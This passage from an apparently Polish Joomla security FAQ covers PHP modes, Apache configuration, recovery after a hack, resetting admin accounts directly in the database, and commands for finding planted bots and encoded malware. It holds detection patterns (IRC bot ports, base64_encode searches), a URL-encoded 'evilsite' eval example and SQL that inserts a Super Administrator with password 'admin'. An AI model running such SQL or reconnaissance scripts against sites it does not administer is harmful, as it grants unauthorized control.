... jest z drugiej strony bardziej bezpieczny ponieważ teraz serwer zarządza i steruje dostępem do plików binarnych. W tej wersji PHP może działać raczej jako Twój realny użytkownik niż zwykły użytkownik Apache. Oznacza to, że możesz wprowadzić hasła bazy danych do pliku dostępnego tylko dla Ciebie i Twoich skryptów php. Prawa dla Grupy (Group) i Inni (Other) zobacz: Jak działają prawa dostępu do plików w UNIX? mogą być teraz ustawione w bardziej restrykcyjny sposób. Tryb CGI jest uważany także za bardziej elastyczny w wielu aspektach, których teraz nie będziemy rozważać. Przy zastosowaniu phpSuExec (Prawa dostępu i phpsuexec) znikają problemy z prawami własności, dzięki czemu nie powinieneś mieć więcej problemów z FTP kiedy próbujesz uzyskać dostęp lub chcesz modyfikować pliki, które zostały załadowane przez interfejs PHP, taki jak np. instalator w panelu administracyjnym Joomla!

Jeżeli Twój serwer jest skonfigurowany dla PHP jako moduł Apache, wtedy będziesz miał wybór użycia pliku albo php.ini albo .htaccess. W przypadku działania PHP w trybie CGI, by zmienić ustawienia możesz korzystać tylko z lokalnego pliku php.ini, ponieważ Apache nie ma już całkowitej kontroli nad PHP.

Testowanie i przegląd twojej instalacji PHP

Czyli wszystko "co kiedykolwiek chciałeś i czego nie chciałeś wiedzieć o PHP"

Aby uzyskać informację o trybie pracy interpretera PHP i generalnie przetestować swoją instalację PHP, a także dowiedzieć się o specyfice środowiska PHP, wspieranych narzędziach, aplikacjach i ustawieniach, utwórz prosty plik zawierający tylko następującą linię;

phpinfo()

Ta pojedyncza linia kodu wygeneruje zadziwiającą ilość informacji, przygotuj się na to. Zapisz ją w pliku pod dowolną nazwą (np. info.php) ale zawsze z rozszerzeniem ".php", następnie prześlij ten plik przez FTP np. do głównego katalogu Twojego serwera i uruchom go przez przeglądarkę z adresu http://www.twojastrona/info.php

Inne użyteczne informacje

Wymienione niżej funkcje PHP uruchomione z pliku PHP, mogą również dostarczyć wielu użytecznych informacji - choć mniej niż wspomniany wyżej phpinfo(). Wiele z nich powinno dać się uruchomić na wielu serwerach, ale niektórzy administratorzy wyłączają część z nich ze względów bezpieczeństwa. Dlatego nie ma pewności, że zawsze dadzą się uruchomić.

Podobnie jak poprzednio utwórz plik z dowolną nazwą ale z rozszerzeniem .php, wklej do niego poniższe linie i prześlij za pomocą FTP na serwer.

<?php
echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] ."";
?>

Pomocne w określeniu trybu, w jakim pracuje Twój serwer oraz uzyskaniu szeregu informacji związanych z tematem, włącznie z zaleceniami co do konfiguracji mogą być rozszerzenia:

  • Joomla! HISA lub
  • Joomla! Tools Suite

Joomla! Tools Suite (JTS) jest kompletnym zestawem narzędzi do pomocy w problemach związanych z prowadzeniem systemu Joomla!, który zawiera "HISA" script.

Joomla! Health, Installation and Security Audit (HISA) jest pojedynczym skryptem, który dostarcza informacji tylko o konfiguracji.

Pośrednią, ale niepewną metodą ustalenia, w jakim trybie pracuje Twój serwer, jest sprawdzenie możliwości korzystania z pliku .htaccess. Jeśli nie możesz użyć pliku .htaccess na serwerach Apache pracujących na platformie Linux, to oznacza, że Twój serwer pracuje w trybie CGI albo administrator wyłączył .htaccess, nawet jeśli PHP działa jako moduł Apache. Podkreślamy raz jeszcze, że takie pośrednie wnioskowanie nie daje 100% pewności.

Uwaga !!! Usuń wszystkie wyżej wymienione pliki .php służące do uzyskiwania informacji natychmiast po ich wykorzystaniu, informacje przez nie wygenerowane mają istotne znaczenie dla Twojego PHP i dla konfiguracji serwera, a w konsekwencji dla bezpieczeństwa całej Twojej witryny.

Konfiguracja PHP jako modułu Apache

Dla tych, którzy chcą wiedzieć więcej, "Jak ..."

Aby skonfigurować Apache do ładowania PHP jako modułu do parsowania twoich skryptów PHP należy zmodyfikować plik httpd.conf, typowo umieszczony w "c:\Program Files\Apache Group\Apache\conf\" lub w "/etc/httpd/conf/".

W tym pliku wyszukaj sekcję, która zawiera serię wykomentowanych deklaracji "LoadModule". (Deklaracje z prefiksem "/#" są wykomentowane). Jeżeli PHP działa w trybie "Apache Module" powinieneś zobaczyć coś bardzo podobnego do poniższej linii;

LoadModule php4_module "c:/php/php4apache.dll"
Apache 1.x

Dla PHP5

LoadModule php5_module     C:/php/php5apache2.dll

albo (platformy niezależne)

LoadModule php5_module     /usr/lib/apache/libphp5.so

Dla PHP4

LoadModule php4_module     libexec/libphp4.so

albo (platformy niezależne)

LoadModule php4_module     C:/php/php4apache.dll

oraz

AddModule mod_php4.c

albo

AddModule mod_php5.c
Apache 2.x

Dla PHP5

LoadModule php5_module     C:/php/php5apache2.dll

albo (platformy niezależne)

LoadModule php5_module     /usr/lib/apache/libphp5.so

Dla PHP4

LoadModule php4_module     libexec/libphp4.so

albo (platformy niezależne)

LoadModule php4_module     C:/php/php4apache.dll

oraz

AddModule mod_php5.c

albo

AddModule mod_php4.c 

Uwaga:

Nie martw się, że nie możesz znaleźć gdziekolwiek w systemie pliku "mod_php4.c" albo "mod_php5.c". Ta dyrektywa nie zmusza Apache do wyszukiwania plików w Twoim systemie. Dla ciekawych; specyfikuje ona kolejność, w jakiej różne moduły są ładowane przez serwer Apache.

Jeżeli używasz

Apache 2,x nie musisz wklejać dyrektywy AddModule, nie jest ona w tej wersji potrzebna. Apache 2,x posiada swoją wewnętrzną metodę określania kolejki ładowania modułów.

Teraz znajdź w tym pliku sekcję "AddType", i dodaj następującą linię po ostatniej deklaracji w "AddType"

AddType application/x-httpd-php .php

Jeżeli potrzebujesz włączyć inne typy plików jak "AddType", po prostu dodaj je do listy jak niżej;

AddType application/x-httpd-php .php3
AddType application/x-httpd-php .phtml

Uruchom sprawdzenie błędów i jeśli wszystko jest prawidłowo, restartuj Apache...

Uruchomienie PHP w trybie CGI

Aby skonfigurować PHP jako CGI ponownie musisz zmienić plik httpd.conf, ale najpierw sprawdź czy wyżej wymienione ustawienia nie są już skonfigurowane, zanim będziesz wiedzieć, co robisz, możesz wygenerować sobie błędy "HTTP 500". Wyszukaj w httpd.conf sekcji "ScriptAlias"

Dodaj następującą linię poniżej ScriptAlias dla "cgi-bin".

Uwaga:

Położenie będzie zależało od tego, gdzie PHP zostało zainstalowane na Twoim serwerze, powinieneś zamienić odpowiednią ścieżkę w miejsce "c:/php/" (np. na "c:/Program Files/php/").

ScriptAlias /php/ "c:/php/"

Apache ponownie musi być skonfigurowane dla typu PHP MIME. Wyszukaj sekcję "AddType" i dodaj po niej następującą linię;

AddType application/x-httpd-php .php

Podobnie jak w przypadku działania PHP jako modułu Apache, możesz dodać rozszerzenia, jakie chcesz, które Apache rozpozna jako skrypty PHP, takie jak;

AddType application/x-httpd-php .php3
AddType application/x-httpd-php .phtml

Następnie będziesz musiał "powiedzieć" serwerowi żeby uruchamiał PHP za każdym razem, gdy napotka skrypt PHP. Dodaj następującą linię po istniejących wejściach w sekcji "Action"

Action application/x-httpd-php "/php/php.exe"

Jak zauważyłeś używaliśmy odniesienia "ScriptAlias", część "/php/" będzie rozpoznawana jako scriptAlias skonfigurowany jak wyżej, to jest rodzaj aliasa ścieżki, który będzie korelował z Twoją instalacją PHP uprzednio skonfigurowaną. Innymi słowy nie wklejaj w tę dyrektywę "c:/php/php.exe" lub "c:/Program Files/php/php.exe" wklej;

"/php/php.exe", 

Apache PRZETWORZY to jeżeli zostało prawidłowo skonfigurowane.

Konfiguracja domyślnego pliku indeksu

Ta sekcja odnosi się do wszystkich użytkowników, bez względu na to, czy załadujesz PHP jako moduł czy jako skrypt CGI.

Jeśli chcesz spowodować, aby serwer www uruchamiał domyślnie najpierw skrypt php, musisz w pliku "httpd.conf" zmodyfikować odpowiednio deklarację DirectoryIndex, definiującą nazwę pliku, który jest zwracany, gdy żądanie klienta nie zawiera nazwy pliku. Odszukaj linie rozpoczynające się "DirectoryIndex" i dodaj "index.php" do listy plików po tej linii. Na przykład, linię:

DirectoryIndex index.html

zmień na

DirectoryIndex index.html index.php

jeśli chcesz, aby pliki .html, były wykonywane przed plikami .php

albo

DirectoryIndex index.php index.html

jeśli chcesz, aby pliki .php, były wykonywane przed plikami .html

Następnym razem, kiedy uzyskasz dostęp do witryny albo katalogu w witrynie bez nazwy pliku, Apache będzie automatycznie odczytywać najpierw "index.php", jeśli jest dostępny, albo "index.html", jeśli "index.php" nie będzie dostępny.


Dlaczego nie korzystać z PHP w bezpiecznym trybie?

Przegląd

Włączenie bezpiecznego trybu (safe_mode=ON) jest niepotrzebne, jeśli zostaną podjęte inne, pewniejsze środki ostrożności. Stosowanie bezpiecznego trybu jest złym kompromisem w złej sytuacji. Może mieć sens w pewnych okolicznościach, ale prawie zawsze są lepsze metody ochrony witryn. Ponieważ bezpieczny tryb daje raczej tylko pewną iluzję bezpieczeństwa, począwszy od wersji 6.0 zostanie z PHP usunięty

Joomla! działa zarówno z PHP w bezpiecznym trybie, jak i przy wyłączonym trybie bezpiecznym. Wyjątkiem od tej reguły są skrypty instalacyjne. Dzieje się tak, ponieważ w bezpiecznym trybie rozmyślnie są wyłączone funkcje pozwalające na łatwe wczytywanie plików przez przeglądarkę internetową. Jeśli używasz bezpiecznego trybu, a konieczne jest przeprowadzenie instalacji za pomocą przeglądarki internetowej, wyłącz chwilowo safe_mode, a po zakończeniu instalacji przywróć stan ON (włącz).

Niektóre rozszerzenia innych zespołów projektowych niż Centrum Joomla! mogą wymagać funkcji blokowanych przez bezpieczny tryb. Takie rozszerzenia warto przeanalizować i ocenić powody, dla których wymagają one funkcji potencjalnie niebezpiecznych.

Z oficjalnej witryny PHP

"Tryb bezpieczny (ang. safe mode) jest próbą rozwiązania problemów bezpieczeństwa na współdzielonym serwerze. Co prawda rozwiązywanie ich na poziomie PHP nie jest najlepszym rozwiązaniem, ale jeśli nie ma możliwości zrobienia tego na poziomie serwera www lub systemu operacyjnego, na wielu serwerach, zwłaszcza u usługodawców internetowych, używa się trybu bezpiecznego."

Więcej informacji

  1. Official PHP Manual: PHP Security and Safe Mode Configuration Directives
  2. Official PHP Manual: PHP Functions restricted/disabled by safe mode


Projektowanie

Jak zainstalować bezpieczną witrynę prezentacyjną?

W pliku /includes/version.php poszukaj:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

Dla witryny prezentacyjnej (demo) zalecane są następujące ustawienia:

/** @var string Decyduje, czy witryna jest produkcyjna = 1 czy prezentacyjna (demo) = 0 */
var $SITE = 0;
/** @var string Decyduje o ograniczeniu funkcjonalności do niezbędnych w witrynie demonstracyjnej. 0 jest ustawieniem domyślnym */
var $RESTRICT = 1;
$SITE = 0
// Umożliwia logowanie się wielu użytkowników na jedno konto. Domyślnie: Joomla! 
// Otwiera tylko jedną aktywną sesję dla konta ze względu na bezpieczeństwo
$RESTRICT = 1
// Wyłącza możliwość zalogowania się na stronie frontowej i zapleczu   
// oraz zmiany szczegółów konta użytkownika takich jak hasło i nazwa użytkownika (login)

Takie ustawienia zastosowano na oficjalnej stronie demonstracyjnej http://demo.joomla.org

Dodatkowo wszystkim plikom i folderom należy zmienić uprawnienia tak, aby zapisywanie było niemożliwe, szczególnie dotyczy to pliku configuration.php. Zalecane jest również automatyczne odświeżanie bazy danych za pomocą cron (w przypadku http://demo.joomla.org co 60 minut)


Jak w okresie jej tworzenia witryny ukryć jej adres przed innymi?

Wstęp

Metoda opisana niżej powinna być stosowana do względnie niewielkich modyfikacji, takich jak zmiany w menu lub do ograniczonej reorganizacji zawartości sekcji. Zadania bardziej kompleksowe, jak instalowanie nowych komponentów czy poważniejsze zmiany w ustawieniach konfiguracji, zawsze należy przeprowadzać i testować najpierw w środowisku przeznaczonym do celów testowych. Takie podejście nie tylko zapewnia ciągłe działanie strony publicznej (produkcyjnej), ale pozwala na pracę w bez presji czasu, co przyczynia się do zmniejszenia ilości popełnianych błędów. Najprostszym sposobem utworzenia instalacji testowej jest utworzenie subdomeny (np. testowa.moja_witryna.com), zainstalowanie tam systemu Joomla!, w taki sposób, jak go zainstalowałeś na witrynie publicznej.

Wskazania

1. Zaloguj się do panelu administratora (PA) i wybierz: Witryna > Konfiguracja.

2.W pierwszym wierszu jest opcja wyłączania witryny, zaznacz w niej "Tak" i zapisz to ustawienie. Teraz po wejściu na adres strony zobaczysz następujący komunikat:

 "Witryna jest w trakcie prac konserwacyjnych. Zajrzyj później" 

wraz z formularzem logowania. Zawartość witryny jest niedostępna dla gości.

3. Po zalogowaniu się do zaplecza i dokonaniu (niewielkich) zmian, zawsze możesz zobaczyć jak obecnie wygląda strona po wybraniu podglądu "Podgląd".

4. Po zakończeniu zmian ustaw opcję wyłączania witryny (pkt 2) na "Nie" i zapisz to ustawienie.


Odtworzenie witryny

Pomocy! Moja witryna została zhakowana! Co zrobić?

Pomocy! Moja witryna została zhakowana! Co zrobić?

Zalecenia

  1. Zmień wszystkie ważne i istotne hasła
    Podczas ataku, włamywacze prawdopodobnie poznali Twoje hasła. Postaraj się jak najszybciej zmienić WSZYSTKIE hasła: hasło Administratora Joomla!, hasło do bazy danych, hasło logowania do poczty, do panelu administracyjnego. Podsumowując - zmień wszystkie hasła. Staraj się wszędzie używać innego hasła - zmniejszy to skutki przyszłych włamań.
  2. Sprawdź logi serwera
    Zobacz, gdzie i w jaki sposób atakujący zdobyli dostęp do Twojej strony. Możesz to uczynić poprzez uważne przejrzenie logów serwera. Uważnie zanotuj nazwy plików oraz czas, w którym zostały zaatakowane. Pamiętaj, że te logi mogą zostać usunięte lub wyczyszczone, więc brak niepokojących wpisów w logach nie musi oznaczać, że nic się nie stało.
  3. Lista niedawno zmodyfikowanych plików
    Zanim zaczniesz robić jakiekolwiek zmiany na stronie, sporządź listę ostatnio modyfikowanych plików. Na tej stronie znajdziesz paczkę ze skryptem wypier.zip Rozpakuj ją, przeslij plik na serwer do głównego katalogu i uruchom, wywołując w przeglądarce: domena/wypier.php. Usuń ten plik od razu po stworzeniu listy! Nie podawaj linku do tego pliku nikomu - nawet znajomym!
  4. Zanotuj podejrzane ostatnio stworzone pliki
    Użyj tej listy, by sprawdzić, które pliki nie są właściwe na Twojej stronie. Zwróć szczególną uwagę na ich datę utworzenia oraz modyfikacji - porównaj je z datami ataków które zebrałeś w punkcie pierwszym (z logów serwera).
  5. Zanotuj podejrzane, ostatnio zmodyfikowane pliki
    Użyj tej listy, by sprawdzić, które pliki nie są właściwe na Twojej stronie. Zwróć szczególną uwagę na ich daty modyfikacji - porównaj je z datami ataków które zebrałeś w punkcie pierwszym (z logów serwera).
  6. Współpracuj z Twoim hostingodawcą
    Jeśli zidentyfikowałeś już, w jaki sposób dokonano włamania, napisz o tym do administratorów hostingu. Jeśli korzystasz z hostingu dzierżawionego, możliwe że zostałeś zaatakowany z innego podatnego na włamania konta. Napisz o tym administratorom. Szanująca się firma doceni Twoje starania w tej kwestii.
  7. Skasuj cały katalog /public_html/
    To jest najlepsze wyjście by zagwarantować, że każda potencjalna dziura na stronie zostanie usunięta.
  8. Usuń powiązane bazy danych/rekordy
    Ten krok może być zrobiony tylko w przypadku, gdy masz dobre kopie bazy danych. Proste skrypty próbują tylko zainfekować stronę główną, nie psują bazy danych. Niestety, zdarzają się także profesjonalne skrypty, które działają po to, by uzyskać prywatne dane użytkowników ze strony - takie jak hasła. Skrypty te mogą udawać proste skrypty, by wielokrotnie ponawiać atak i tym samym nieraz ukraść dane z Twojej strony.
  9. Przeinstaluj wszystko na stronie
    Użyj kopii strony sprzed włamania. Jeśli jej nie masz - idź do kroku 10.
  10. Jeszcze raz zmodyfikuj wszystkie hasła
    Jeszcze raz musisz zmodyfikować wszystkie hasła, by mieć absolutną pewność że żaden ukryty wcześniej robak nie poznał któregokolwiek z Twoich nowych haseł.
  11. Przebuduj stronę
    Jeśli niemożliwe jest by odzyskać stronę z kopii sprzed włamania zmuszony jesteś do zbudowania strony od początku używając do tego oryginalnych instalatorów - najlepiej takich, które nigdy nie miały styczności z zainfekowanym serwerem. Używaj tylko stabilnych wersji komponentów, modułów dodatków, jak i samego Joomla!. Zaglądaj także na listę dodatków podatnych na włamania.
  12. Przejrzyj procesy bezpieczeństwa
    Przejrzyj standardowe, zalecane ustawienia bezpieczeństwa dla plików takich jak php.ini, globals.php, configuration.php, .htaccess, et cetera.
  13. Zainteresuj się tworzeniem kopii bezpieczeństwa
    Jeśli nadal nie masz kopii bezpieczeństwa - dodaj niezawodny proces tworzenia kopii do swoich administracyjnych nawyków.
  14. Obserwuj uważnie
    Atakujący często powracają na strony, które wcześniej zaatakowali. Przygotuj się na to i w miarę możliwość postaraj się maksymalnie zabezpieczyć stronę przed włamaniem.

Więcej informacji

Szczegółowy opis postępowania po włamaniu znajdziesz w artykule na www.joomla.pl

Wybierz listę kontrolną

  1. Lista kontrolna 1: Zanim rozpoczniesz
  2. Lista kontrolna 2: Hosting i ustawienia serwera
  3. Lista kontrolna 3: Testowanie i rozbudowa
  4. Lista kontrolna 4: Konfiguracja Joomla!
  5. Lista kontrolna 5: Administrowanie witryną
  6. Lista kontrolna 6: Odtwarzanie witryny


Jak przywrócić hasło administratora?

Wprowadzenie

Ponieważ ze względów bezpieczeństwa hasła przechowywane są w bazie danych w postaci zaszyfrowanej, ich odzyskanie jest niemożliwe, ale możliwe jest usunięcie starego hasła i zastąpienie go nowym (zresetowanie).

Hasło można zwykle zresetować, korzystając z funkcji udostępnionej w menu witryny albo w module Logowanie. Wystarczy wówczas wybrać opcję nazwaną standardowo Nie pamiętam hasła, wywołującą formularz, w którym podajemy swoją nazwę użytkownika i adres e-mail, by otrzymać pocztą elektroniczną łącze do strony, na której możemy ustanowić nowe hasło.

Jeśli skorzystanie z tej drogi nie jest możliwe, np. po ataku włamywaczy, konieczne jest najpierw ustalenie nowego hasła w bazie danych, a następnie - po zalogowaniu się - zmiana w edytorze konta głównego administratora. Ten drugi etap jest szczególnie ważny, ponieważ Joomla! dodatkowo koduje hasła.

Jak ustalić hasło w bazie danych?

  1. Połącz się z bazą danych za pomocą swojego klienta obsługi MySQL, np. phpMyAdmin lub MySQL Query Browser.
  2. Odszukaj tabelę #__users (znaki #_ markują Twój przedrostek nazw tabel.)
  3. Odszukaj rekord (wiersz tabeli) z Twoim kontem głównego administratora.
  4. W kolumnie Funkcja wybierz szyfrowanie kluczem MD5
  5. W polu password wpisz tymczasowo jakiekolwiek hasło, np. '1?tymczasowe!@'.
  6. Zapisz zmieniony rekord, klikając przycisk Wykonaj.
  7. Zaloguj się za pomocą przeglądarki do zaplecza Joomla.
  8. Natychmiast po zalogowaniu się zmień ustalone przed chwilą hasło na własne, niepowtarzalne, bezpieczne.
Ostrzeżenie! Ostrzeżenie!
Pominięcie ostatniego kroku stwarza poważne zagrożenie. Hasła w Joomla są dodatkowo kodowane. Jeśli zostawimy niezmienione proste hasło ustawione bezpośrednio w bazie danych, grożą nam wszystkie konsekwencje stosowania słabych haseł.

Jak odzyskać utracone konto głównego administratora?

Każdemu może przytrafić się jeszcze trudniejsza sytuacja - utrata konta głównego administratora. Teoretycznie zdarzyć się nie powinna - jedynego (ostatniego) konta głównego administratora usunąć za pomocą narzędzi zaplecza nie można. Praktyka poucza wszakże, że "niewiedza potrafi czynić cuda".

Joomla 2.5 - 3.x  Joomla 2.5 Joomla 3.x

Korzystając z poniższej instrukcji założysz konto superużytkownika w bazie danych witryny Joomla 2.5 - 3x

  1. Załóż sobie w witrynie nowe konto użytkownika (zarejestruj się).
  2. Zaloguj się do swojego programu obsługi bazy danych (np. phpMyAdmin, MySQL Query Browser).
  3. Sporządź najpierw pełną kopię zapasową bazy danych (na wszelki wypadek).
  4. Odszukaj w tabeli #__users, rekord z nowo założonym kontem (będzie zapewne na końcu tabeli) i zapisz sobie jego ID
  5. Sprawdź w tabeli #__usergroups ID grupy superużytkownicy (Super User)
  6. Otwórz do przeglądu tabelę #_user_usergroup_map i odszukaj w niej rekord ze swoim ID użytkownika,
  7. Poddaj ten rekord edycji, zamień w nim wartość w polu group_id na wartość przypisaną do grupy superuzytkownicy w tabeli #__usergroups.
  8. Spróbuj się zalogować do zaplecza, aby sprawdzić, czy nie operacja utworzenia konta powiodła się

Joomla 1.5 Joomla 1.5

Korzystając z poniższej instrukcji założysz konto superużytkownika w bazie danych witryny Joomla 1.5

  1. Załóż sobie w witrynie nowe konto użytkownika (zarejestruj się).
  2. Zaloguj się do swojego programu obsługi bazy danych (np. phpMyAdmin, MySQL Query Browser).
  3. Sporządź najpierw pełną kopię zapasową bazy danych (na wszelki wypadek).
  4. Odszukaj w tabeli #__users, rekord z nowo założonym kontem (będzie zapewne na końcu tabeli) i
    • Zamień w polu usertype wartość Registered na Super Administrator
    • Zapamietaj sobie numer ID użytkownika
  5. Przejdź do tabeli #__core_acl_aro, odczytaj i zapamiętaj ID pozycji, która w polu value ma wartość równą twojego ID użytkownika
  6. Przejdź do tabeli #_core_acl_groups_aro_map i zmień wartość group_id na 25 w rekordzie, w którym wartość aro_id jest równa wartości zapamiętanej w poprzednim kroku
  7. Spróbuj się zalogować do zaplecza, aby sprawdzić, czy nie operacja utworzenia konta powiodła się

Joomla 1.0 Joomla 1.0

Korzystając z poniższej instrukcji założysz konto superużytkownika w bazie danych witryny Joomla 1.0

  1. Zaloguj się do swojego programu obsługi bazy danych (np. phpMyAdmin).
  2. Na wszelki wypadek, sporządź najpierw pełną kopię zapasową bazy danych.
  3. Sprawdź w tabeli #__users, czy na pewno nie ma w niej rekordu z ID=58.
  4. Wykonaj poniższą kwerendę, aby stworzyć nowe konto głównego administratora nazwane admin2.
INSERT INTO `jos_users` VALUES 
    (58, 'Administrator2', 'admin2', 'your-email@email.com', '21232f297a57a5a743894a0e4a801fc3',  
    'Super Administrator', 0, 1, 25, '2008-09-28 00:00:00', '2008-09-28 00:00:00', '', '');
INSERT INTO `jos_core_acl_aro` VALUES (10,'users','58',0,'Administrator2',0);
INSERT INTO `jos_core_acl_groups_aro_map` VALUES (25,'',10);

5. Zaloguj się na zaplecze używając loginu "admin2" i hasła "admin".
6. Zmień nazwę i hasło głównego administratora na bezpieczniejsze oraz dokonaj innych potrzebnych zmian.

Zobacz także

Jak w systemach *NIX wykryć exploity?

Sprawdź aktywne procesy Używaj polecenia ps, aby przejrzeć dziwne lub nieznane procesy. Jeżeli nie jesteś pewny, czego szukać, daj polecenia netstat -ae | grep irc i/lub netstat -ea | grep 666 i szukaj portów 6666, 6667, 6668, 6669, to są zwykle porty używane przez działające boty IRC, mają nazwę irc wylistowaną obok, lub mogą mieć httpd lub czasami inne stosowane nazwy usług.

Sprawdź tabelę programów typu cron

Sprawdź tę tablicę i zobacz, czy są dziwne wejścia - są one używane przez wiele eksploitów do restartu botów IRC, nawet wtedy, gdy stosowane są procesy administratora lub automatyczne, do likwidacji nienormalnych procesów.

Sprawdź ukryte pliki lub katalogi

Wyszukuj ukryte pliki lub katalogi, które są niewidoczne, zaczynają się one "." (kropkami), szukaj także takiego zestawu". " (kropka, spacja) często stosowane, aby próbować wykryć wyszukiwania ukrytych katalogów.

A to inne przykłady wyszukiwań, które mogą pomóc odkryć eksploity i/lub nieoczekiwane pliki i foldery:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< to może generować fałszywe alarmy, jest to poprawny kod w wielu skryptach graficznych/pocztowych
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt



Co oznaczają te dziwne znaki w moim kodzie (URL-Encoded)?

Przegląd

Atakujący czasami ukrywają kod przed ciekawskimi przez [kodowanie URL - URL Encoding], zwane też kodowaniem procentowym.

Celem takiego kodowania jest przesłanie przez URL znaków niekompatybilnych właśnie z URL. Istnieje wiele uczciwych powodów, by tak robić, np. ukrywanie adresu email przed spamerami, rozwiązywanie problemu ze spacjami w nazwach plików itp. itd...

Jednakże, jeżeli zauważysz w plikach swojej strony dziwny tekst zakodowany w URL, natychmiast powinieneś wszcząć śledztwo. Tekst kodowany w URL jest bardzo łatwy do przetłumaczenia, za pomocą PHP, javascriptu czy wielu bezpłatnych translatorów w sieci.

Niżej kilka prostych, niefunkcjonalnych przykładów tekstu kodowanego w URL (URL encoded)

Tekst oryginalny Zakodowany w URL
this line has spaces this%20line%20has%20spaces
eval(evil_script(http://www.evilsite/?evilscript.pl")); %65val%28%65%76il_%73cri%70t

%28%68tt%70%3A//%77%77%77. %65%76il%73ite/%3F%65%76il%73

cript.%70l%22%29%29%3B

Zasoby

  1. Text Unescape Utility
  2. HTML URL-encoding Reference

Dziękujemy za wkład

» Stefan Wajda [zwiastun],